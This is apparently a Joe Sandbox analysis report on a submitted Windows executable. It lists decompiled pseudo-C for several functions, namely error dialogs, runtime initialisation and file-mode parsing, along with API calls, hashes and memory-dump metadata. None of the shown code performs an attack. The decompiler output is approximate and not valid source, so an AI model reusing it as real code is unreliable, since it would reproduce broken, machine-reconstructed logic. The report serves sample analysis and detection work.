                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                                                                                              • String ID: csm$f
                                                                                                                              • API String ID: 2395640692-629598281
                                                                                                                              • Opcode ID: 7f3794147224920763e08c17acf18a5c560d4a612554ab5faf8e71f29923e20f
                                                                                                                              • Instruction ID: d86f09aefdc4c76ecc180d5bff5aea34767b59c0ecd124acaf2e1c6840482ecd
                                                                                                                              • Opcode Fuzzy Hash: 7f3794147224920763e08c17acf18a5c560d4a612554ab5faf8e71f29923e20f
                                                                                                                              • Instruction Fuzzy Hash: 1951E472A096029EFF56EB25E400A2DB395FB40B88FD88172DE4E5374ADF38E8518714
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D2240 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 53%
                                                                                                                              			E00007FF77FF7DA8D2240(void* __ebx, void* __rax, void* __rcx, void* __rdx, void* __r8) {
				void* __rbx;
				void* __rsi;
				void* __rbp;
				signed long long _t53;
				signed long long _t54;
				void* _t56;
				void* _t75;
				void* _t77;
				void* _t78;
				signed long long _t79;
				void* _t83;
				void* _t85;
				void* _t86;
				void* _t87;

				_t77 = _t78 - 0x20d0;
				E00007FF77FF7DA8DAD20(0x21d0, __rax, _t85, _t86);
				_t79 = _t78 - __rax;
				_t53 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t54 = _t53 ^ _t79;
				 *(_t77 + 0x20c0) = _t54;
				_t56 = __rcx;
				_t87 = __r8;
				_t75 = __rdx;
				GetModuleHandleW(??);
				r8d = 0x102;
				E00007FF77FF7DA8DC170();
				 *((intOrPtr*)(_t77 + 0x1fa0)) = 0x90cc0884;
				 *((long long*)(_t77 + 0x1fa4)) = _t77 + 0x1fb6;
				 *((short*)(_t77 + 0x1fb4)) = 0;
				 *((intOrPtr*)(_t77 + 0x1fac)) = 0xc80000;
				 *((intOrPtr*)(_t77 + 0x1fb0)) = 0x96;
				E00007FF77FF7DA8D2470(_t54, _t77 + 0x1fb6, __rdx, L"Unhandled exception in script", _t83);
				 *(_t79 + 0x38) = _t54;
				r8d = 0x2040;
				E00007FF77FF7DA8DC170();
				 *(_t79 + 0x30) = _t54;
				E00007FF77FF7DA8E5E94(_t54, _t56, _t56, _t54, _t77);
				 *(_t79 + 0x40) = _t54;
				E00007FF77FF7DA8E5E94(_t54, _t56, _t75, _t54, _t77);
				 *(_t79 + 0x48) = _t54;
				E00007FF77FF7DA8E5E94(_t54, _t56, _t87, _t54, _t77);
				 *(_t79 + 0x50) = _t54;
				r8d = 0;
				 *((long long*)(_t79 + 0x20)) = _t79 + 0x30;
				DialogBoxIndirectParamW(??, ??, ??, ??, ??);
				E00007FF77FF7DA8E3FEC(0,  *(_t79 + 0x40), _t77 + 0x1fa0, L"Unhandled exception in script");
				E00007FF77FF7DA8E3FEC(0,  *(_t79 + 0x48), _t77 + 0x1fa0, L"Unhandled exception in script");
				E00007FF77FF7DA8E3FEC(0,  *(_t79 + 0x50), _t77 + 0x1fa0, L"Unhandled exception in script");
				if ( *((intOrPtr*)(_t77 + 0x1f78)) == 0) goto 0xda8d2375;
				DeleteObject(??);
				if ( *((intOrPtr*)(_t77 + 0x1f80)) == 0) goto 0xda8d2387;
				DestroyIcon(??);
				return E00007FF77FF7DA8DACF0(__ebx, 0,  *(_t77 + 0x20c0) ^ _t79);
			}

















                                                                                                                              0x7ff7da8d2247
                                                                                                                              0x7ff7da8d2254
                                                                                                                              0x7ff7da8d2259
                                                                                                                              0x7ff7da8d225c
                                                                                                                              0x7ff7da8d2263
                                                                                                                              0x7ff7da8d2266
                                                                                                                              0x7ff7da8d226d
                                                                                                                              0x7ff7da8d2270
                                                                                                                              0x7ff7da8d2275
                                                                                                                              0x7ff7da8d2278
                                                                                                                              0x7ff7da8d2287
                                                                                                                              0x7ff7da8d2290
                                                                                                                              0x7ff7da8d2297
                                                                                                                              0x7ff7da8d22a1
                                                                                                                              0x7ff7da8d22af
                                                                                                                              0x7ff7da8d22b6
                                                                                                                              0x7ff7da8d22c3
                                                                                                                              0x7ff7da8d22d4
                                                                                                                              0x7ff7da8d22e2
                                                                                                                              0x7ff7da8d22e7
                                                                                                                              0x7ff7da8d22ed
                                                                                                                              0x7ff7da8d22f5
                                                                                                                              0x7ff7da8d22fa
                                                                                                                              0x7ff7da8d2302
                                                                                                                              0x7ff7da8d2307
                                                                                                                              0x7ff7da8d230f
                                                                                                                              0x7ff7da8d2314
                                                                                                                              0x7ff7da8d2319
                                                                                                                              0x7ff7da8d232a
                                                                                                                              0x7ff7da8d2334
                                                                                                                              0x7ff7da8d233c
                                                                                                                              0x7ff7da8d234a
                                                                                                                              0x7ff7da8d2354
                                                                                                                              0x7ff7da8d235e
                                                                                                                              0x7ff7da8d236d
                                                                                                                              0x7ff7da8d236f
                                                                                                                              0x7ff7da8d237f
                                                                                                                              0x7ff7da8d2381
                                                                                                                              0x7ff7da8d23a5

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
                                                                                                                              • String ID: Unhandled exception in script
                                                                                                                              • API String ID: 3081866767-2699770090
                                                                                                                              • Opcode ID: 434f8413e3fdcd058a02a6b358131063f60b089ffb24758142b7acd9199934e8
                                                                                                                              • Instruction ID: f8043560eada4e58eb0451c7882d38c1470269d90229690d852bb8d0fe82ef41
                                                                                                                              • Opcode Fuzzy Hash: 434f8413e3fdcd058a02a6b358131063f60b089ffb24758142b7acd9199934e8
                                                                                                                              • Instruction Fuzzy Hash: 5D317A32A08A8289FB25EB61E8441EDA360FF88794FC40176EE4D4BA5ADF3CD655C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D2620 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 52%
                                                                                                                              			E00007FF77FF7DA8D2620(void* __eflags, void* __rax, long long __rcx, signed long long __rdx, long long __r8, long long __r9, long long _a8, signed long long _a16, char _a24, long long _a32, char _a1048, char _a2072, char _a4120, signed int _a6168, intOrPtr _a6224, char _a6232) {
				void* __rbx;
				void* __rsi;
				void* _t40;
				void* _t41;
				signed long long _t46;
				signed long long _t47;
				long long _t48;
				long long _t64;
				void* _t66;
				void* _t76;
				void* _t77;

				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				E00007FF77FF7DA8DAD20(0x1840, __rax, _t76, _t77);
				_t67 = _t66 - __rax;
				_t46 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t47 = _t46 ^ _t66 - __rax;
				_a6168 = _t47;
				_t64 = __rcx;
				E00007FF77FF7DA8D1040(GetLastError());
				_a16 =  &_a6232;
				r8d = 0x400;
				_a8 = 0;
				E00007FF77FF7DA8E3B34(_t40, _t41,  *_t47 | 0x00000002,  &_a1048, __r8, _a6224);
				E00007FF77FF7DA8D7420(_t24, _t47, __r8);
				_a16 = _t47;
				_a8 = _t64;
				E00007FF77FF7DA8D1B30(_t47,  &_a24,  &_a1048, "%s%s: %s",  &_a1048);
				r8d = 0x800;
				E00007FF77FF7DA8DC170();
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t47, _t48,  &_a4120,  &_a24,  &_a6232, "%s%s: %s");
				if (_t47 == 0) goto 0xda8d2734;
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t47, _t48,  &_a2072, "Fatal error detected",  &_a6232, "%s%s: %s");
				r9d = 0x30;
				MessageBoxW(??, ??, ??, ??);
				goto 0xda8d274e;
				r9d = 0x30;
				return E00007FF77FF7DA8DACF0(MessageBoxA(??, ??, ??, ??), 0, _a6168 ^ _t67);
			}














                                                                                                                              0x7ff7da8d2620
                                                                                                                              0x7ff7da8d2625
                                                                                                                              0x7ff7da8d262a
                                                                                                                              0x7ff7da8d2637
                                                                                                                              0x7ff7da8d263c
                                                                                                                              0x7ff7da8d263f
                                                                                                                              0x7ff7da8d2646
                                                                                                                              0x7ff7da8d2649
                                                                                                                              0x7ff7da8d2651
                                                                                                                              0x7ff7da8d2664
                                                                                                                              0x7ff7da8d2679
                                                                                                                              0x7ff7da8d267e
                                                                                                                              0x7ff7da8d2684
                                                                                                                              0x7ff7da8d2694
                                                                                                                              0x7ff7da8d269b
                                                                                                                              0x7ff7da8d26a0
                                                                                                                              0x7ff7da8d26b4
                                                                                                                              0x7ff7da8d26c3
                                                                                                                              0x7ff7da8d26d2
                                                                                                                              0x7ff7da8d26d8
                                                                                                                              0x7ff7da8d26dd
                                                                                                                              0x7ff7da8d26f0
                                                                                                                              0x7ff7da8d26f8
                                                                                                                              0x7ff7da8d26fa
                                                                                                                              0x7ff7da8d270f
                                                                                                                              0x7ff7da8d2714
                                                                                                                              0x7ff7da8d272c
                                                                                                                              0x7ff7da8d2732
                                                                                                                              0x7ff7da8d2734
                                                                                                                              0x7ff7da8d2768

                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7DA8D76B4,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D2654
                                                                                                                                • Part of subcall function 00007FF7DA8D7420: GetLastError.KERNEL32(00000000,00007FF7DA8D26A0), ref: 00007FF7DA8D7447
                                                                                                                                • Part of subcall function 00007FF7DA8D7420: FormatMessageW.KERNEL32(00000000,00007FF7DA8D26A0), ref: 00007FF7DA8D7476
                                                                                                                                • Part of subcall function 00007FF7DA8D79A0: MultiByteToWideChar.KERNEL32 ref: 00007FF7DA8D79DA
                                                                                                                              • MessageBoxW.USER32 ref: 00007FF7DA8D272C
                                                                                                                              • MessageBoxA.USER32 ref: 00007FF7DA8D2748
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Message$ErrorLast$ByteCharFormatMultiWide
                                                                                                                              • String ID: %s%s: %s$Fatal error detected
                                                                                                                              • API String ID: 2806210788-2410924014
                                                                                                                              • Opcode ID: be8159d4da1d623935737f66ca6ff985e81d9fc44c37ffb99e0b19b8c9617921
                                                                                                                              • Instruction ID: 2d6a88e73cbd17366423fdfdf4cd0b623453e611bc7719bc5bcfe24b5d30b087
                                                                                                                              • Opcode Fuzzy Hash: be8159d4da1d623935737f66ca6ff985e81d9fc44c37ffb99e0b19b8c9617921
                                                                                                                              • Instruction Fuzzy Hash: E6317C72628A8291FB21AB10E4506EEE364FB84784FC44037EE8D02A9ADF3CD615CB50
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E8830 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                              • String ID: CorExitProcess$mscoree.dll
                                                                                                                              • API String ID: 4061214504-1276376045
                                                                                                                              • Opcode ID: 43ec2fa5b206ef50a85d8791d4c505ac4782749c279514a83b9864bfeb17bd1e
                                                                                                                              • Instruction ID: f6fbaa43aff5438410b0abd656ae3bf7d6a4ef96f7d0dc9f7f198edc6e562dd9
                                                                                                                              • Opcode Fuzzy Hash: 43ec2fa5b206ef50a85d8791d4c505ac4782749c279514a83b9864bfeb17bd1e
                                                                                                                              • Instruction Fuzzy Hash: AEF0AF61A0960381FA15AB24E84433DE360BF997A5FD40676CE7E462E5CF2CD568C320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F86F4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 85%
                                                                                                                              			E00007FF77FF7DA8F86F4(signed int __ecx, long long __rbx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				signed int _t31;
				signed int _t42;
				signed int _t43;
				signed int _t44;
				signed int _t46;
				void* _t51;

				_a8 = __rbx;
				_a16 = __rsi;
				_t27 = __ecx & 0x0000001f;
				if ((__ecx & 0x00000008) == 0) goto 0xda8f8726;
				if (sil >= 0) goto 0xda8f8726;
				E00007FF77FF7DA8F8E8C(_t27, _t51);
				_t28 = _t27 & 0xfffffff7;
				goto 0xda8f877d;
				_t42 = 0x00000004 & dil;
				if (_t42 == 0) goto 0xda8f8741;
				asm("dec eax");
				if (_t42 >= 0) goto 0xda8f8741;
				E00007FF77FF7DA8F8E8C(_t28, _t51);
				_t29 = _t28 & 0xfffffffb;
				goto 0xda8f877d;
				_t43 = dil & 0x00000001;
				if (_t43 == 0) goto 0xda8f875d;
				asm("dec eax");
				if (_t43 >= 0) goto 0xda8f875d;
				E00007FF77FF7DA8F8E8C(_t29, _t51);
				_t30 = _t29 & 0xfffffffe;
				goto 0xda8f877d;
				_t44 = dil & 0x00000002;
				if (_t44 == 0) goto 0xda8f877d;
				asm("dec eax");
				if (_t44 >= 0) goto 0xda8f877d;
				if ((dil & 0x00000010) == 0) goto 0xda8f877a;
				E00007FF77FF7DA8F8E8C(_t30, _t51);
				_t31 = _t30 & 0xfffffffd;
				_t46 = dil & 0x00000010;
				if (_t46 == 0) goto 0xda8f8797;
				asm("dec eax");
				if (_t46 >= 0) goto 0xda8f8797;
				E00007FF77FF7DA8F8E8C(_t31, _t51);
				return 0 | (_t31 & 0xffffffef) == 0x00000000;
			}













                                                                                                                              0x7ff7da8f86f4
                                                                                                                              0x7ff7da8f86f9
                                                                                                                              0x7ff7da8f8708
                                                                                                                              0x7ff7da8f8710
                                                                                                                              0x7ff7da8f8715
                                                                                                                              0x7ff7da8f871c
                                                                                                                              0x7ff7da8f8721
                                                                                                                              0x7ff7da8f8724
                                                                                                                              0x7ff7da8f872b
                                                                                                                              0x7ff7da8f872e
                                                                                                                              0x7ff7da8f8730
                                                                                                                              0x7ff7da8f8735
                                                                                                                              0x7ff7da8f8737
                                                                                                                              0x7ff7da8f873c
                                                                                                                              0x7ff7da8f873f
                                                                                                                              0x7ff7da8f8741
                                                                                                                              0x7ff7da8f8745
                                                                                                                              0x7ff7da8f8747
                                                                                                                              0x7ff7da8f874c
                                                                                                                              0x7ff7da8f8753
                                                                                                                              0x7ff7da8f8758
                                                                                                                              0x7ff7da8f875b
                                                                                                                              0x7ff7da8f875d
                                                                                                                              0x7ff7da8f8761
                                                                                                                              0x7ff7da8f8763
                                                                                                                              0x7ff7da8f8768
                                                                                                                              0x7ff7da8f876e
                                                                                                                              0x7ff7da8f8775
                                                                                                                              0x7ff7da8f877a
                                                                                                                              0x7ff7da8f877d
                                                                                                                              0x7ff7da8f8781
                                                                                                                              0x7ff7da8f8783
                                                                                                                              0x7ff7da8f8788
                                                                                                                              0x7ff7da8f878f
                                                                                                                              0x7ff7da8f87ad

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _set_statfp
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1156100317-0
                                                                                                                              • Opcode ID: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
                                                                                                                              • Instruction ID: 535853d5476a1173e797268cb5d8e5569c343a55e212608709a48fde3b9477d3
                                                                                                                              • Opcode Fuzzy Hash: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
                                                                                                                              • Instruction Fuzzy Hash: 7D119126EDCA0341F7563224E44637D94407F793B4FD806F6FE6E062EB8E2CA8618230
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EA7B0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FlsGetValue.KERNEL32(?,?,?,00007FF7DA8E99C3,?,?,00000000,00007FF7DA8E9C5E,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8EA7CF
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E99C3,?,?,00000000,00007FF7DA8E9C5E,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8EA7EE
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E99C3,?,?,00000000,00007FF7DA8E9C5E,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8EA816
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E99C3,?,?,00000000,00007FF7DA8E9C5E,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8EA827
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E99C3,?,?,00000000,00007FF7DA8E9C5E,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8EA838
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Value
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3702945584-0
                                                                                                                              • Opcode ID: ae37bf6e24a8dd905a76ae05698ba97ed43999bcb7fb52e3d420ae191858aa1b
                                                                                                                              • Instruction ID: aa84316d70e78753de3408a44298c12f1b4f23709343bddb3da6ecd87387da8e
                                                                                                                              • Opcode Fuzzy Hash: ae37bf6e24a8dd905a76ae05698ba97ed43999bcb7fb52e3d420ae191858aa1b
                                                                                                                              • Instruction Fuzzy Hash: F6119D60F08342C1FA5AB721558117DE2417F60BB0FC447B6ED3D467C7DE2EE6628220
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EA644 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF), ref: 00007FF7DA8EA655
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF), ref: 00007FF7DA8EA674
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF), ref: 00007FF7DA8EA69C
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF), ref: 00007FF7DA8EA6AD
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF), ref: 00007FF7DA8EA6BE
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Value
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3702945584-0
                                                                                                                              • Opcode ID: 816c375c59e6c69434a8927f5b871f6c7aa6df51c201acfb1bf02bf764e9639a
                                                                                                                              • Instruction ID: 863c26ec0eca70e2182ff8186fc4a82a5862c8f3c797f2de9afe29225a91efcb
                                                                                                                              • Opcode Fuzzy Hash: 816c375c59e6c69434a8927f5b871f6c7aa6df51c201acfb1bf02bf764e9639a
                                                                                                                              • Instruction Fuzzy Hash: 611136A0E08203C1F96AB621445117DE2417F72BB4EC54BB6ED3E4A2E3DD2EF6608231
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EF0E8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 87%
                                                                                                                              			E00007FF77FF7DA8EF0E8(long long __rbx, signed int* __rcx, void* __rdx, long long __rdi, long long __rsi) {
				signed int _t31;
				signed int _t33;
				signed int _t36;
				signed int _t49;
				signed int _t56;
				void* _t61;
				void* _t83;
				signed int _t89;
				void* _t90;
				signed int _t94;
				signed int _t109;
				intOrPtr* _t129;
				signed short* _t131;
				signed short* _t132;
				long long _t136;
				signed int _t138;
				signed short* _t142;
				signed short* _t143;
				void* _t144;

				_t109 = _t138;
				 *((long long*)(_t109 + 8)) = __rbx;
				 *((long long*)(_t109 + 0x10)) = _t136;
				 *((long long*)(_t109 + 0x18)) = __rsi;
				 *((long long*)(_t109 + 0x20)) = __rdi;
				 *__rcx = _t109;
				__rcx[2] = 0;
				r14d = 0x20;
				_t31 =  *0xda91c9dc; // 0x0
				__rcx[1] = _t31;
				goto 0xda8ef12b;
				_t142 = __rdx + 2;
				_t33 =  *_t142 & 0x0000ffff;
				if (_t33 == r14w) goto 0xda8ef123;
				if (_t33 == 0x61) goto 0xda8ef158;
				if (_t33 == 0x72) goto 0xda8ef14f;
				if (_t33 != 0x77) goto 0xda8ef3bc;
				 *__rcx = 0x301;
				goto 0xda8ef15e;
				__rcx[1] = 1;
				goto 0xda8ef165;
				 *__rcx = 0x109;
				__rcx[1] = 2;
				_t143 =  &(_t142[1]);
				r9b = bpl;
				dil = bpl;
				r10b = bpl;
				r11b = bpl;
				_t9 = _t136 + 0xa; // 0xa
				if ( *_t143 == 0) goto 0xda8ef2ce;
				_t56 =  *_t143 & 0x0000ffff;
				_t83 = _t56 - 0x53;
				if (_t83 > 0) goto 0xda8ef238;
				if (_t83 == 0) goto 0xda8ef221;
				if (_t83 == 0) goto 0xda8ef2b9;
				if (_t83 == 0) goto 0xda8ef1ef;
				if (_t83 == 0) goto 0xda8ef1e7;
				if (_t83 == 0) goto 0xda8ef1d5;
				_t61 = _t56 - r14d - 0xfffffffffffffff2 - _t9;
				if (_t83 == 0) goto 0xda8ef1cc;
				if (_t61 != 4) goto 0xda8ef3bc;
				if (r10b != 0) goto 0xda8ef2ac;
				 *__rcx =  *__rcx | 0x00000010;
				goto 0xda8ef22d;
				asm("bts dword [ebx], 0x7");
				goto 0xda8ef2b7;
				if (( *__rcx & 0x00000040) != 0) goto 0xda8ef2ac;
				goto 0xda8ef2b5;
				r11b = 1;
				goto 0xda8ef2ac;
				if (dil != 0) goto 0xda8ef2ac;
				_t36 =  *__rcx;
				dil = 1;
				if ((_t36 & 0x00000002) != 0) goto 0xda8ef2ac;
				 *__rcx = _t36 & 0xfffffffe | 0x00000002;
				__rcx[1] = __rcx[1] & 0xfffffffc | 0x00000004;
				goto 0xda8ef2b9;
				_t89 = r10b;
				if (_t89 != 0) goto 0xda8ef2ac;
				 *__rcx =  *__rcx | r14d;
				r10b = 1;
				goto 0xda8ef2b9;
				if (_t89 == 0) goto 0xda8ef2a4;
				if (_t89 == 0) goto 0xda8ef295;
				if (_t89 == 0) goto 0xda8ef283;
				if (_t89 == 0) goto 0xda8ef277;
				if (_t89 == 0) goto 0xda8ef268;
				_t90 = _t61 - 0x34 - 4;
				if (_t90 != 0) goto 0xda8ef3bc;
				asm("bt eax, 0x9");
				if (_t90 >= 0) goto 0xda8ef2ac;
				asm("bts eax, 0xa");
				goto 0xda8ef2b5;
				if (( *__rcx & 0x0000c000) != 0) goto 0xda8ef2ac;
				asm("bts eax, 0xe");
				goto 0xda8ef2b5;
				if (r9b != 0) goto 0xda8ef2ac;
				asm("btr dword [ebx+0x4], 0xb");
				goto 0xda8ef28d;
				if (r9b != 0) goto 0xda8ef2ac;
